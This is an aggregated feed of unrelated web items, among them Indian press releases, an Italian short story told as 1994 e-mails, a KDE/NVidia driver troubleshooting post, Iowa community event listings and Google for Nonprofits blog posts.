Comment on Ruby Gettinger: Where is she now and what does she weigh? by Dawn        
My highest weight was 330 lbs. That was my "bottom" as they say. I decided that I wanted to loose weight and I did. I made some lifestyle changes that I will have to follow the rest of my life. Diets don't work because they imply that you deprive yourself, get down to your goal weight and it's over HA! that's just the beginning. If you don't change what got you to 330 in the first place you are just going to go there again. No soda, lots of water and small meals more frequently spaced out no more than four hours and you will see results. Everyone knows what they need to do. You don't need to spend money on books diet centers or anything like that. If you want to spend money invest in a gym membership, but you don't even really NEED to do that as well. Good luck peoples :)
          News: Pelikan TintenTurm        
Pelikan moved its administration and production space to Hannover on the Podbielskistraße in the year 1906.  By 1973, that facility was no longer adequate and could not be further expanded to meet the company’s needs.  Production was moved to the Peine-Vöhrum plant, 24 miles east of Hannover, where it remains today.  The administrative offices would linger at […]
          Sugar Free launches a web series ‘The Sweet Breakup’ a first of its kind in the food space        

by Shrutee K/DNS

Mumbai, August 2017: Sugar Free, a name synonymous with sugar substitute, is the single largest leader in India in the category. The brand always thrives on innovation as key for its growth and has introduced many variants in the category for the sweet binging yet calorie conscious Indians. As an extension to its innovation drive, the brand has unveiled a new campaign ‘The Sweet Breakup’, a one-of-a-kind 5-part web-series in the food category. The series is conceptualized and executed by Maxus Content, the content solutions arm of Maxus.
Talking about the campaign Tarun Arora, Chief Operating Officer & Director, Zydus Wellness said, “Our vision for “Sugar Free” is to make it the brand of choice for consumers seeking low / no calorie options to lead a healthier life style. Hence to address the myths attached with the usage of Sugar Free as part of one’s daily culinary needs made us conceptualize ‘The Sweet Break Up’.  This web series demonstrates in an authentic way that you can indulge into your favourite dessert guilt-free without compromising on the taste. The 5- city trail as part of the campaign only reaffirmed that any sweet recreated with Sugar Free tastes the same when made with sugar. I believe this was the first time a dessert truck was going around India and hence there was a lot of excitement amongst people wanting to know what’s cooking !”
Pooja Verma, Head - Content, Entertainment and Sports Partnerships at Maxus said, “Maxus believes that changing traditional behaviour among consumers with content, needs a compelling strategy which is driven by insights and fused with creative thought. Showcasing Sugar Free as more than just a sugar substitute via ‘The Sweet Break-Up’ campaign is a prime example of our focus. Sweets have a strong relationship with celebrations in our country. With that insight in mind, we brought our campaign together on the message that enjoying sweets while breaking up with unhealthy calories is a win-win outcome for every foodie. The creative vehicle to deliver that message is our one-of-a-kind series where Chef Kunal Kapur joins famous foodie-duo Rocky & Mayur, in recreating delicious Indian sweets with Sugar Free. Through this content solution, the brand stands to generate extensive and meaningful conversations with viewers who love their sweets.”

This campaign marks the culinary journey of Sugar Free across 5 cities Delhi, Lucknow, Kolkata, Bengaluru and Mumbai, where celebrity chef Kunal Kapur reconstructed 5 different speciality desserts by using Sugar Free products. The brand also had on board the famous foodie duo Rocky and Mayur whose fun banter added to the entertainment element in the web-series. The journey started from Delhi where the chef created the famous Tewari Brother’s Gulaab Jamun followed by Lucknow where Ram Asrey’s famous Malai ki Gilori was made. The truck then headed East to Kolkata where he recreated Balaram Mullick’s Sandesh and then southward to Bangalore where he made a fusion dessert using G Pulla Reddy’s Dharwad Peda and created Dharwad Peda Tiramisu. The final leg of the web series was shot in Mumbai where Chef Kapur added a spin to made Ladu Samrat’s modak and created delicious chocolate modaks. All of these were created using Sugar Free. While the brand has a strong linkage with table top consumptionand pellets as a format, the culinary consumption for powder formats is a gap that needs to be bridged. ‘The Sweet Breakup’ campaign is that step forward by Sugar Free to make consumers aware of the format, its usage and the fact that the taste of the dessert stays as good. What more? One can indulge in sweets now without having to feel guilty.
The Sweet Breakup will be unveiled on-air on 18thAugust
About Zydus Wellness Limited: Zydus Wellness Limited is the Consumer products company from the Zydus Group. Zydus group is a pharma major with flagship organization, Cadila Healthcare Limited, a leading pharmaceutical company with significant global presence apart from India. Zydus Wellness has been a pioneer in various categories it operates in. The company focuses on emerging segments and has its DNA of innovations with “Do good benefits” at the core of its business. Zydus Wellness commands leadership in the sugar substitute market, table spreads and the skin care segments. In the sugar substitute market, Sugar Free is a market leader with a market share of 94% and targets health and fitness seekers apart from diabetics.
Nutralite is a market leader in the Fat Spread category and appeals to consumers looking for healthier alternatives to normal butter. It is cholesterol free, does not contain any hydrogenated fats and is also trans-fat free. Everyuth is a pioneer in facial cleansing space in India. It enjoys leadership in the scrub and Peel off Mask segments and is amongst the top players in the overall facial cleansing category with strong “Naturals” equity Zydus Wellness Limited is listed on NSE and BSE and has manufacturing locations in Gujarat and Sikkim.
About Maxus:  Maxus is a marketing communications consultancy that helps marketers build profitable relationships between consumers and their brands. They combine the disciplines of communications planning and customer relationship marketing to deliver Relationship Media, a next generation model powered by creative media thinking and sophisticated, real-time customer data.

Their services include communications strategy, digital marketing, direct response media, social media, data analytics, media investment management, content & sports marketing, marketing ROI evaluation and CRM. Having a talent team of 2,500 people across 55 markets, they are part of GroupM, the world’s largest media investment management group that serves as the parent company for all of WPP’s media agencies.

          SSB Retail India launches two more Specialty Malls        

by Shrutee K/DNS
Hyderabad, 4th August 2017: SSB Group is a leading structural galvanizing company which is in a retail sector mall in Hyderabad.

The SSB World Shopping Mall has come up with a two brand ‘Alpine’- the supermarket and ‘Casabene’- the furniture mall. Casabene has its branches in Kolkata, Hyderabad and is now launching 2 more new branches in Hyderabad.

The company has diversified into retailing. The 3rd retailing space at Chakripuram  is 7000 sq. ft which has a combination of Alpine Super Market & Casabene Furnitures. The 4th retailing space at North Kamalanager ECIL is 2000 sq. ft which also has a combination of Alpine Super Market & Casabene Furnitures.
The retail industry is very competitive; in order to give extra mileage SSB is having its own manufacturing facilities. They believe in delivering excellent quality products with customer satisfaction. The Chief Guest for the event will be honourable Smt. Pajjuri Pavani Manipal Reddy (Corporator) for A S Rao Nagar Division, SSB Directors - Y Sharath Babu & Ajay Kumar Singh and Chairman - Ramakanth Singh. Mr Ajay Kumar Singh & Mr Sarath Babu - Directors, of SSB believes in giving good lifestyle supplies at competitive prices.
The retailing product will be: Supermarket/Furniture/Home Décor/Home Accessories/Home related products

USP: Exclusively designed/Concept selling/Manufacturing Quality Products/Craftsman and Finishing/Free interior advice/Large collection under one roof

The business plan is to diversify and open 10 Branches of Alpine Super Market & Casabene Furniture in the twin cities.

About SSB: SSB is a Turkey service provider, established in August 2013, SSB Structural and Galvanizing Pvt Ltd is an enterprise by two pragmatic visionaries. As an emerging sector, it is present in telecom, power, heavy and general fabrication and infrastructure. It was able to export structural material in the second year of inception. The company has a turnover of 50 crores and it will have 100 crores of turn over year.

          Director, Sandeep Mohan & Tiranga Productions to release “Shreelancer” on 18th August         

Based on the story of a freelancer, the feature film is an adaptation of the people who are self-employed

by Shrutee K/DNS 

Director Sandeep Mohan’s next release, “Shreelancer” is a feature film starring Arjun Radhakrishnan (an actor known for his film “A White Feather”) in the lead along with a veteran theater artist Salmin Sheriff and Monica Mahendru. The film is produced by Giju John – Tiranga Productions Pvt. Ltd. and Sandeep Mohan and slated to hit the screens on 18th August 2017.

Official Trailer Link -

The film has background score by Vivek Philip and features songs by Ankur Tewari, Prateek Kuhad, Andrew Sloman and Natalie Matos. The film features one of the popular Indie song, "Dil Beparvah" by Ankur Tewari and Prateek Kuhad. The film is looking to be one of the best adaptation of the people who are self-employed.

Shreelancer, a 98-minute feature film is the contemporary take on the life of a freelancer in today’s India. Shreelancer follows Arjun Radhakrishnan (Shree), a Bangalore based mid 20's freelance copywriter who is battling with nagging self-doubts about his artistic abilities. Shree belongs to a Maharashtrian family from Belgaum. He does ads for small time ad agencies, but is quite frustrated that the world doesn't seem to understand or respect freelancers. Unable to concentrate at home, he visits various cafes to find his peace and works from there. Addicted to his cellphone and the social media, Shree's worldview is shaped by what he reads online, not having traveled much in the "real" world. As fate would have it, Shree gets an invitation to attend an all-expenses paid trip to a college friend's wedding. And life as he knows it will never be the same again for Shree. The film highlights the journey of a freelancer, despite having a flexible schedule, they work on deadlines, love to take up all jobs and seldom say “No” to any assignment.

Shreelancer had its World Film Festival Premiere at the prestigious New York Indian Film Festival (NYIFF) in May 2017 where it was nominated in the best screenplay category. The film will next screen at the Blue Whiskey International Film Festival on the 8th August 2017 where it has been selected in the competition category. Apart from this, Sandeep Mohan has conducted 30 screenings at spaces like Cafes, Pubs, Office Spaces, Coworker Spaces, Colleges, Homes, Art Galleries, etc. and convert them into

mini-theatres for the duration of the film. Sandeep conducts this screening under what he calls the "The Great Indian Travelling Cinema" experiment.

          Accelerate Live! talk: Health-generating buildings, Marcene Kinney, Angela Mazzi, GBBN Architects        
Architects Marcene Kinney and Angela Mazzi share design hacks pinpointing specific aspects of the built environment that affect behavior, well-being, and performance.


During the past 20 years, we’ve witnessed an evolution in building design, from high-performance and energy-efficient buildings, to sustainable and green buildings, and now to spaces that enhance performance and promote wellness and health. 

In this 15-minute talk at BD+C’s Accelerate Live! conference (May 11, 2017, Chicago), Marcene Kinney and Angela Mazzi from Cincinnati-based GBBN Architects talk about their work in behavior change and health-generating design.

Their predictive outcome modeling helps clients make strategic design investments that enhance user and building performance, while minimizing behaviors that can lead to more negative outcomes, such as injuries, poor health, or mistakes.

They also share design hacks pinpointing specific aspects of the built environment that affect behavior, well-being, and performance to help clients get more success out of their spaces.


As Principal and Market Director at GBBN Architects, Marcene Kinney, AIA, LEED AP, leads her team's exploration and focus to do more than merely solve functional architectural problems for clients. Her applied research details fives types of space and their physical attributes that contribute to socialization and gathering patterns within spaces. She has dedicated 17 years exploring how space facilitates social interaction and builds community within the educational environment. Kinney has presented her research-based design work to American Institute of Architecture and Society of College and University Planning audiences and is the recent recipient of an AIA design award for work completed at Northern Kentucky University. Perhaps most important are the satisfaction survey reports by her clients who are reporting increased engagement and retention from their customers.

Angela Mazzi, AIA, ACHA, EDAC, is a Senior Associate and Medical Planner at GBBN Architects, where she focuses on enhancing quality of life through built environments—connecting great design with user needs. Her background in design, business management, and research on socio-cultural contexts provides a unique perspective on how culture is reflected in architecture and user experience. Mazzi serves on the Board of Regents for the American College of Healthcare Architects (ACHA), the Board of AIA Cincinnati, the Advisory Committee for the Institute for Patient-Centered Design, and was an Advisory Board member for Arizona State University's Healthcare Design Program in its initial years. Her research linking wellness to design has been published in many healthcare journals and been presented at both national and international conferences.




From: "scrittore della domenica" <>
To: "lorenzo" <>
Date sent: Mon, 14 Feb 1994 12:09:05
Subject: Eccomi

Mannaggia a te! Che c'era di male nelle lettere cartacee? Signornò. "Dai, mandami un'e-mail! E' facile, divertente, vedrai!". - Intanto ho dovuto iscrivermi al laboratorio d'informatica di questa cavolo di università, dove bisogna fare domanda in carta bollata anche per un caffè al bar. Poi, io il computer manco lo so usare. A quest'ora dovrei essere in sala studio a preparare l'esame di diritto privato comparato (capirai); invece sto qua ad arrovellarmi con tastiera e mouse.

Va beh. Ti scrivo per questo: devi assolutamente registrarmi un po' di cassette di musica rock. Hai presente? Quella che tu hai sempre detto che io la snobbo. Specialmente, quanto più progressive anni '70 riesci a procurarmi. Non so, gli Yes, i Genesis, i King Crimson, quella roba là. E poi il grunge. Non i Nirvana, ché onestamente non li reggo: Smashing Pumpkins, Pearl Jam, Soundgarden. E magari della musica da discoteca, però di un certo livello. E ci sarebbe un pezzo di un gruppo inglese che mi ossessiona, si chiama... ce l'ho sulla punta della lingua. Basta, appena mi ricordo il titolo te lo dico.

No, non sono impazzito. E' che ho conosciuto una ragazza molto simpatica che ha questi gusti musicali. Anche molto bella, a dire la verità. Anzi, la sola cosa che le vorrei dire è proprio questa: che la trovo bellissima. Ma, tu mi conosci; non c'è verso; se provo ad affrontare l'argomento, ammutolisco senza rimedio. Così mi servono urgentemente altri argomenti di conversazione. Lei studia inglese, e fin qui posso arrangiarmi. L'ho anche accompagnata a lezione, ho studiato i suoi appunti. Sai? Sto diventando, credo, il massimo esperto di T. S. Eliot di tutto il basso Ionio reggino. Quest'estate, se non altro, potrò esibirmi nei locali sul lungomare recitando The Waste Land a memoria.

Ma tutto questo non basta. Prima o poi dovrò trovare il coraggio di invitarla a uscire una sera, che so, ad un concerto, o addirittura (non ridere) a ballare. Perché ho capito che alle matinée in Conservatorio lei non ci viene. Ebbene, è qui che subentri tu. Devi aiutarmi ad andare oltre Beethoven. Ripeto, procurami del rock, perché mi serve come il pane!

Attendo tue notizie, stammi bene.

P.S. Mi sono ricordato il titolo di quella canzone: Creep, dei Radiohead.

From: "scrittore della domenica" <>
To: "lorenzo" <>
Date sent: Mon, 21 Mar 1994 15:31:22
Subject: Re: Re: Eccomi

Grandi novità! Abbiamo occupato. Ora la nostra casa dello studente è Pensionato Universitario Occupato Autogestito. L'abbiamo deciso venerdì sera, al termine di un'agitata assemblea sugli ultimi aumenti delle rette e della mensa. Io mi sono aggiudicato la gran parte dei turni di notte in portineria: sia per evitare i turni di pulizia, sia perché mi piace fare le ore piccole e perché durante l'occupazione c'è un bel clima. Si parla, si beve, si fuma tabacco e non solo: effettivamente, non sto studiando granché. Però mi diverto.

Ieri, per esempio, verso la mezzanotte la situazione comprendeva una bottiglia di mirto, uno stereo, sei-sette persone fra cui Alice (la ragazza di cui ti ho parlato nella mia ultima lettera) e me. Il guaio è che dopo un'oretta loro sono usciti, per andare credo in discoteca, mentre io dovevo rimanere per continuare il turno; ma mi hanno lasciato la bottiglia, d'altronde semivuota, e lo stereo. O forse due bottiglie e due sterei, a quel punto non capivo più bene. Sono riuscito, in qualche modo, a togliere la cassetta dei Rage Against The Machine e a mettere su il Lamento d'Arianna di Monteverdi, che in quel momento era anche più adatto.

A proposito: mi hai registrato le cassette che ti ho chiesto? Se scendi anche tu in Calabria per le elezioni, tra una settimana me le puoi dare. Ma l'hai visto quel pagliaccio miliardario? E pensa che magari qualcuno lo voterà anche. Viviamo in un paese meraviglioso.

From: "scrittore della domenica" <>
To: "lorenzo" <>
Date sent: Fri, 15 Apr 1994, 16:05:30
Subject: buona notte al secchio

La sai una cosa? Tre anni fa, dopo il diploma, commisi un solo errore.

Allo sportello della stazione chiesi un biglietto per Milano. Sbagliai: avrei dovuto comprare un sola andata per Londra, o per Parigi, o per Berlino.

L'occupazione è finita. L'Ente per il Diritto allo Studio ha promesso che, col nuovo bilancio, ben il 3,75% delle risorse aggiuntive sarà stanziato per porre rimedio ai recenti rincari delle tariffe, compatibilmente con il principio del pareggio contabile.

Insomma: non abbiamo ottenuto un bel niente.

Ho saputo che Alice si è fidanzata. Con uno studente d'ingegneria, milanese da varie generazioni e di ottima famiglia, buon giocatore dilettante di basket. Ha una macchina svedese con doppia alimentazione, benzina verde e gas, perché bisogna proteggere l'ambiente. Un bravissimo ragazzo.

Tutto è perduto. Mentre questa ridicola nazione, consegnatasi ancora volontaria nelle mani di un tirannello squilibrato, si avvia verso il suo triste destino, io ti comunico la mia irrevocabile decisione.

Pongo rimedio al mio errore.


E basta, con queste e-mail del piffero! Ti farò avere prossimamente il mio nuovo recapito estero.

La sai un'altra cosa? Siamese Dream degli Smashing Pumpkins è molto più noioso della più tediosa sinfonia di Bruckner.

From: "scrittore della domenica" <>
To: "lorenzo" <>
Date sent: Tue, 26 Apr 1994 16:28:43
Subject: scherzavo

E niente: all'estero non sono andato.

Ti spiego cos'è successo.

Sai che mi è sempre piaciuto stare sveglio fino a tardi; ultimamente sto esagerando; mi succede spesso di fare l'alba. Da un po' non scendo neanche più in sala studio, per non rischiare d'incontrare Alice. La sera me ne sto tappato in camera, ascoltando Brahms.

Un mio consiglio per i giovani: se abitate in una casa dello studente, cercate di non innamorarvi mai di un'altra persona ospite del pensionato. Soprattutto se non corrisposti.

Bene: domenica notte, mentre studiavo, ho messo su il Tristano. Così, tanto per cambiare. Ma, poco dopo il preludio, ho dovuto spegnere.

Frisch weht der Wind
Der Heimat zu
Mein Irisch Kind,
Wo weilest du?

Mi si è annebbiata la vista, e ho scoperto che avevo finito i kleenex. Ho chiuso il libro. Mi sono alzato dalla sedia e sono andato a lavarmi il viso con l'acqua fredda. Poi sono tornato alla scrivania.

Ho acceso il quinto canale della radio (quello che trasmette solo classica). C'era un brano di avanguardia; una cosa che non conoscevo, una specie di collage sonoro sul tipo di Revolution 9 dei Beatles, hai presente? Folle in tumulto, suoni strani, rumori ambientali, nastri in loop, voci umane che declamano sillabe incomprensibili. Un delirio.

Roba forte! Ho attaccato lo spinotto delle cuffie alla radio e mi sono sparato il brano nelle orecchie, chiudendo gli occhi e reclinando indietro la testa. A un certo punto, dal tappeto sonoro ha cominciato a emergere una voce femminile, che sembrava pronunciare un testo coerente. Dapprima si sentiva sullo sfondo, e non si capiva bene cosa dicesse; qualcosa sul Vietnam. Man mano, la voce diventava sempre più forte, più netta, e veniva sempre più in primo piano. Alla fine, con una presenza sonora impressionante, la voce scandiva, anzi no scolpiva, queste parole: "Rimanete qui, e combattete per la vostra dignità di uomini".

"Avete ascoltato: Luigi Nono, Contrappunto dialettico alla mente", ha detto l'annunciatore.

Ho staccato lo spinotto, ho tolto le cuffie e ho spento la radio.

Ho riconsiderato la mia intenzione di espatriare. Ho pensato: ma non l'ho già fatto? Sono già emigrato. E prima di me mio padre, proprio negli anni in cui Nono componeva quel pezzo.

Quante volte ancora voglio fare le valigie?

Possibile che l'unica soluzione sia quella di scappare sempre più lontano?

L'indomani, 25 aprile, sono andato alla manifestazione. Il concentramento era alle due del pomeriggio; ma mi sono svegliato così tardi che non ho potuto neanche fare colazione. Ho preso un caffè al distributore automatico giù in atrio e sono uscito, in direzione porta Venezia.

Era previsto un corteo molto grande. E' stato immenso. Mai vista tanta gente tutta insieme! E che varietà, quanti colori, che musiche, che allegria! Quanta pioggia, anche: veniva giù a secchiate, per tutta la durata della manifestazione.

Io ero in fondo al corteo, e pensa che non sono neppure riuscito a entrare in piazza Duomo, tanto era gremita! Ho svoltato per piazza Fontana, poi per via Larga. Ho vagato per un pezzo; non so chi o cosa mi aspettassi di trovare, a parte qualcosa da mettere sotto i denti, dato che avevo una fame da lupo.

Mi sono ritrovato, non so come, in piazza Sant'Alessandro, vicino alla facoltà di lingue, che naturalmente era chiusa; c'era però un bar-tavola calda miracolosamente aperto; mi ci sono fiondato dentro.

Ero seduto sul mio sgabello, dando le spalle all'ingresso, e divoravo la mia pizzetta, ovviamente pessima come solo a Milano la sanno fare, quando mi è parso di vedere una sorta di variazione nella luce. Come se avesse improvvisamente smesso di piovere e fosse uscito un sole splendente.

Mi giro, e vedo Alice entrare nel locale e raggiungermi.

Era in tenuta da manifestazione: jeans sdruciti, camicia grunge, niente make-up (lei che di solito è così curata). I lunghi capelli biondi inumiditi dalla pioggia, che intanto continuava a scrosciare.

"Ciao", le dico. "Dov'è il tuo fidanzato?"

"Sciocco", mi ha risposto. "Oggi ci sono cose più importanti", ha detto. "C'è mezza casa dello studente qui fuori: abbiamo fatto uno striscione molto figo, lo andiamo ad attaccare al portone dell'I.S.U. Cosa fai qua, solo come un gufo? Vieni anche tu!"

Non me lo sono fatto dire due volte.

E dunque. Fra un mese ho l'esame di diritto sindacale. Materia interessante, sai? Credo che chiederò la tesi.

Per ora rimango qui.

(Racconto già pubblicato su Evulon. Ogni riferimento a fatti, persone, città, eventi, uomini politici, bar e pizzette della realtà è puramente casuale).
          '..FORGET fuel-powered jet engines .. looking into hybrid planes .. plasma engine..' (no replies)        
'FORGET fuel-powered jet engines. We’re on the verge of having aircraft that can fly from the ground up to the edge of space using air and electricity alone.


Berkant Göksel at the Technical University of Berlin and his team now want to fit plasma engines to planes. “We want to develop a system that can operate above an altitude of 30 kilometres where standard jet engines cannot go,” he says. These could even take passengers to the edge of the atmosphere and beyond.


Göksel is hoping for a breakthrough in compact fusion reactors to power his system..

In the meantime, he is looking into hybrid planes, in which his plasma engine would be combined with pulse detonation combustion engines or rockets to save on fuel.'

- Sandrine Ceurstemont, Plasma jet engines that could take you from the ground to space, May 17, 2017


(Fusion Power) - LPP Focus Fusion 1; '..FF-1 results are right now far ahead..'

(The Electric Universe) - SAFIRE as Astrophysical Laboratory | EU2016

'Open source is now mainstream..'

The New Fusion Race - Part 4 - Fusion Race: Who is Ahead, April 6, 2017

          Vision of Humanity - Global Peace (no replies)        
'Economists on Peace aims to stimulate global discussion and shared learning on economic aspects of peace and conflict leading to appropriate action for peace, security and the world economy.'

- An Economists for Peace and Security editorial collaboration

'The need to understand what works in peacebuilding, how to measure its impact and cost-effectiveness is essential to long-term efforts to prevent violence and build peace. Yet, there is much we collectively do not know about peacebuilding, what works and doesn’t work, let alone what activities broadly define it. At a time when the international community’s resources to international development and aid are under strain due to tightened national budgets and stress from humanitarian action, the need to understand and invest in the most cost-effective ways to build long term peace is more crucial than ever.'

- Report: Measuring Peace Building Cost-Effectiveness

Context (Haptopraxeology) - '..We have lost three centuries as a result of ignoring our scholars!'

Global Peace Index

The Book of Peace

Four Ways Peace Research Made an Impact in Nuevo León, Mexico

Gold, Peace, and Prosperity

In The Electric Universe a Future of Peace and Love

'..tell your boss you think the company has a love deficit.' - Hamel

(To Heal)(Reinventing Organizations) - ' about what happening in the space of organizations going Teal.'

(In The Electric Universe) Open Source Infrastructure, beginning of the Enterprise Nervous System (ENS)

          KDE and NVidia (updated)        

KDE Project:

The above combination was never a painless experience, still at some point in past it seemed to be better to have a NVidia card on Linux then anything else, so I continued to buy them whenever my system was upgraded. Lately although it started to make me rather bad. I have two computers, one that is a 4 core Intel CPU with 8GB of memory, the other is a Core2Duo with 3GB. The latter is a Lenovo laptop. Both have NVidia, nothing high end (Qudaro NVS something and 9300GE, both used with dual monitor setup), but they should be more than enough for desktop usage. Are they?
Well, something goes wrong there. Is that KDE, is that XOrg, is that the driver? I suspect the latter. From time to time (read: often), I ended up with 100% CPU usage for XOrg. Even though I had 3 cores doing nothing the desktop was unusable. Slow scroll, scroll mouse movements, things typed appearing with a delay, things like that. Like I'd have an XT. I tried several driver version, as I didn't always have this issues, but with newer kernel you cannot go back to (too) old drivers. I googled, and found others having similar experience, with no real solution. A suspicion is font rendering for some (non-aliased) fonts, eg. Monospace. Switching fonts sometimes seemed to make a difference, but in the end, the bug returned. Others said GTK apps under Qt cause the problem, and indeed closing Firefox sometimes helped. But it wasn't a solution. Or there was a suggestion to turn the "UseEvents" option on. This really seemed to help, but broke suspend to disk. :( Turning off the second display and turning on again seemed to help...for a while. Turning off the composite manager did not change the situation.
Finally I tried the latest driver that appeared not so long ago, 256.44. And although the CPU usage of XOrg is still visible, with pikes going up to 20-40%, I gain back the control over the desktop. Am I happy with it? Well, not....
As this was only my desktop computer. I quickly updated the driver on the laptop as well, and went on the road. Just to see 100% CPU usage there. :( Did all the tricks again, but nothing helped. Until I had the crazy idea to change my widget theme from the default Oxygen to Plastique. And hurray, the problem went away! It is not perfect, with dual monitor enabled sometimes maximizing a konsole window takes seconds, but still in general the desktop is now usable. And of course this should also make me have more uptime on battery.
Do I blame Oxygen? No, not directly. Although might make sense to investigate what causes there the NVidia driver going crazy and report to NVidia.

So in case you have similar problems, try to switch to 256.44 and if it doesn't help chose a different widget style.

Now, don't say me to use nouveau or nv. Nouveau gave me graphic artifacts and it (or KDE?) didn't remember the dual card setup. Nv failed the suspend to disk test with my machine and doesn't provide 3D acceleration needed eg. for Google Earth.

UPDATE: I upgraded my laptop to 4.5.1 (from openSUSE packages).Well, this broke composition completely, I got only black windows. I saw a new driver is available (256.53), let's try it. So far, so good, even with Oxygen. Let's see on the long run how it behaves, I didn't test it in deep.

          Pesticide-Free Spaces: Lessons in Communication, Community and Change        

The Center for Energy and Environmental Eduation and students in the Department of Communication Studies are working together to reduce the amount of lawn pesticides used in Iowa. The meeting is open to the public.

Wesley Foundation (Treehouse)
Tuesday, November 15, 2016 - 7:00 pm
Enter Your Email: 
          Cedar Falls Practical Backyard Tour        
Sponsored by UNI's Center for Energy & Environmental Education and Green Iowa AmeriCorps, the Practical Backyard Tour highlights several backyards around Cedar Falls where practical and effective methods have been utilized.  From composting to solar and rain barrels to gardening, the tour features backyards that work!
Beginning at 2 p.m., participants are welcome to arrive at any of the  backyards listed below where tickets will be available (one ticket gains  participant access to all five backyards). After 5 p.m., participants are encouraged to visit Beck's on The Hill afterwards for dinner, a prize drawing, and open discussion on practical uses for backyards.
Tickets ($5, does not include dinner) will be available the day of the event at each of the backyards. Proceeds from the event will support Green Iowa AmeriCorps work in the Cedar Valley. Please direct any questions to Green Iowa AmeriCorps. We hope to see you there!
The five backyards featured during the tour include:
1. Cedar Falls Community Garden, 600 Block Lincoln Street, Cedar Falls “Taking Back, Giving
Back” this garden is flood-reclaimed land and features a sitting area, water collection
system, and composting [from Cup of Joe]. With 50 of the 80 available plots rented and four
organizations actively growing food to be donated to the Cedar Valley Food Bank and other
charities, this location is full of vast and diversified garden delights  growing for a great cause.
2. Dave Gibson, 524 West Lone Tree Road, Cedar Falls “Twin Cedars, a Gated  Community” this
wonderful stop in North Cedar will feature fruit trees, vegetable garden, hens, passive solar
kitchen, solar electric system, and 140 recently planted trees.
3. Kamyar Enshayan, 1703 Washington Street, Cedar Falls “Lawn & Order” featuring backyard
hens, easy-going compost, native prairie pollinator heaven, local wood  shed, solar hot water,
linear evaporative drying system (clothes lines), 20 years of pesticide-free lawn, vegetable
4. Jack & Carole Yates, 519 Chateau Ct, Cedar Falls “Perfectly Practical” both the front and back
yard features beds with native Iowa prairie plants, two vegetable gardens and an orchard with
apple, pear, Asian pear, cherry, peach and plum trees. Visitors can also see their two active solar
systems, a wood burning stove, clothes line and additions like a fire ring, patio and other places
that make it a great backyard to spend time in.
5. Ann Duncan, W 13th Street at the alley between Franklin and Tremont, “Smoke Stack Twin
Gardens” Featuring gardening for large and small spaces, a wide variety of vegetables,
raspberries, tiered garden, strawberry pyramid, rain barrels, compost bin, clothes line.
Cedar Falls, Iowa
Sunday, June 10, 2012 -
9:00 am to 12:00 pm
Enter Your Email: 
Ashley Wolter
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          Around the Globe - Fundación Todo Mejora supports LGBT youth        

Todo Mejora means “it gets better”—and it’s this message that the Chile-based nonprofit has worked tirelessly to advocate for. In the wake of continual LGBT discrimination around the world, Fundación Todo Mejora strives to support the LGBT adolescents who face discrimination, including those considering committing suicide. Chile has one of the highest levels of suicide and school violence in Latin America. It’s projected that if nothing is done, in four years, one adolescent in Chile will end his or her life  nearly each day—an astounding metric that Fundación Todo Mejora hopes to change.1,2

Continuing  with our series about impactful organizations using Google for Nonprofits tools, this week we’re highlighting how Fundación Todo Mejora uses technology to spread its message and creates a safe space for these teenagers to find refuge in times of need.

Showing up when searching for help—Google Ad Grants

By implementing a strategic campaign using Google Ad Grants, the nonprofit targeted Google searches common to suicidal thoughts such as “I want to commit suicide”, “Who should I call if I want to kill myself?”, or “Help me, I want to die”. When a local person searches this on Google, Fundación Todo Mejora’s ads show up to intervene with supportive messages, and provide links to resources to find help. One 19-year-old girl who found support from these ads said, "Amidst my depression, I Googled how to commit suicide. Your foundation, ’Todo Mejora,’ popped up in my search results. It made me smile and reminded me the reason to go on.”

These ads have allowed Fundación Todo Mejora to save lives and navigate people to their website where they can find resources and support. As a result, website traffic increased by 20% in one year alone, which means the organization found a way to reach more people in need. This increase also prompted Fundación Todo Mejora to expand their suicide hotline support to 30 hours/week up from 7 hours/week.

Spreading the word—YouTube

To further increase visibility, Fundación Todo Mejora created a YouTube channel where adolescents share their personal stories, which have helped create a community of support, coupled with the call-to-action overlays inspiring others to follow suit, take initiative, and send donations. In their most popular video, with over 62,000 views, Demi Lovato speaks out against homophobic and transgender bullying and encourages victims to reach out for help.

TODO MEJORA - Demi Lovato, cantante

Storage & syncing—G Suite

Fundación Todo Mejora now uses G Suite exclusively for all its day-to-day operations, relying on Gmail, Google Drive, and Google Calendar to work productively. The unlimited user accounts and 30GB of storage per user has saved them time and money that once went towards paying for other storage products. Now, they can save important data in a shared and collaborative space which has helped them streamline their processes, preserve historical documents, and improve communication.

With more time, funding, and organizational processes, Fundación Todo Mejora can focus on expanding their support for youth in need and the LGBT community. Read more about their story on our Community Stories page on our Google for Nonprofits site.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received products as part of the Google for Nonprofits program, which offers products at no charge to qualified nonprofits.

1 OECD (2016). Low Performing Students: Why They Fall Behind and How To Help Them Succeed. PISA. OECD Publishing. Paris

2.Ministerio de Salud de Chile (2013). Situación Actual del Suicidio Adolescente en Chile, con perspectiva de Género [Current Situation of Adolescent Suicide in Chile, with a gender perspective]. Programa Nacional de Salud Integral de Adolescentes y Jóvenes. Chile.

          2016 Year in Review        

2016 was a year of many things - changes, challenges and opportunities. But above all else, 2016 was a year where you continued your work to change the world; to bring the world a little closer to finding common ground amongst peace, progress, and innovation.

As 2016 comes to a close, Google for Nonprofits took one final opportunity to reflect on a year past and look forward to the year ahead.  So without further ado, here are the top posts from 2016 from your friends at Google for Nonprofits.

Screen Shot 2016-12-22 at 3.54.11 PM.png

From LA to Tokyo: YouTube Spaces opens production studios to nonprofits free of charge

From LA to London, Tokyo to Mumbai, Berlin to São Paulo, YouTube Spaces empower nonprofits by providing them exclusive access to the best production resources around — all at no cost. All enrolled nonprofits with 1,000 or more subscribers are now eligible to apply for production access at YouTube Spaces.

Screen Shot 2016-12-22 at 3.54.53 PM.png

Unlocking your nonprofit's data insights: Linking Ad Grants and Google Analytics

So you’re using Ad Grants - our in-kind advertising solution for nonprofits which allows you to run text ads on Google Search - and you’re looking for more insights? Google Analytics is your go-to tool for providing insights into user behavior, which can be used to inform Google Ad Grants, as well as website optimization. By syncing data and using Ad Grants & Analytics in tandem, you can boost the quality of traffic reaching your site and increase the chance of visitors completing a meaningful action on your NGO’s page.

Benefits of Linking your Google Analytics and Adwords Accounts

Four ways to keep your nonprofit safe & secure online

